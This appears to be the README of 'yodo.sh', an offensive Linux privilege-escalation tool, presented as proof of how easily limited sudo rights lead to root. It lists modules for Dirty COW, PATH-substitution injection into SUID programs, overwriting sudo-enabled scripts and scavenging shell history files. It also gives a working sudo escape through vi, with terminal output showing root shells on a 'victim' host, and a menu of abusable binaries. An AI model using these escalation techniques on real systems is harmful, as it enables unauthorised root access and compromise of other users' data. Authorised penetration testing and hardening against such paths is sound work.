This tool proves how easy it is to become root via limited sudo permissions, via dirty COW or using Pa(th)zuzu.
dirty COW : exploits a race condition in the implementation of the copy-on-write mechanism Link : https://dirtycow.ninja
Pa(th)zuzu : Checks for PATH substitution vulnerabilities, logs the commands executed by the vulnerable executables and injects commands with the permissions of the owner of the process (SUID) Link : https://github.com/ShotokanZH/Pa-th-zuzu
VSP : checks if the user is able to overwrite a sudo-enabled command with his own
History : checks for * history (like bash_history) files. You could be lucky!
b3 : tries to substitute commands that has root privileges [sudo -l >>> User may run the following commands ... (root) NOPASSWD: /path/to/script]
Example: If a user has sudo privileges only on vi, he could become root by runnuing this command: sudo vi -c ':shell'
b3rito@victim ~/Desktop $ sudo vi -c ':shell'
[sudo] password for b3rito:
victim Desktop # whoami
root
Written by b3rito at mes3hacklab
chmod +x yodo.sh
./yodo.sh
b3rito@victim ~/Desktop $ ./yodo.sh
=======================================================================
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=======================================================================
Possible options (‡ excluded):
[·] find
[·] vi
[·] b3
Select From the menu:
1) Find 8) Man * 17) Pathzuzu °‡
2) AWK 10) Dirty COW °‡ 18) History °‡
3) Nmap 11) Gdb 19) Vim
4) Vi 12) Ruby 20) Lua
5) Python 13) b3 21) Ftp *
6) Irb 14) Perl 22) Credits
7) Less * 15) Tee 23) Update
8) More * 16) VSP °‡ 99) Exit
VSP = Vulnerable Script Permissions
Pathzuzu = SUID exploitation through Path vulnerability
b3 = editable root privileged commands listed in 'sudo -l'
* user interatcion
° sudo not required
Enter Number: 1
[sudo] password for b3rito:
victim Desktop # whoami
root
victim Desktop #
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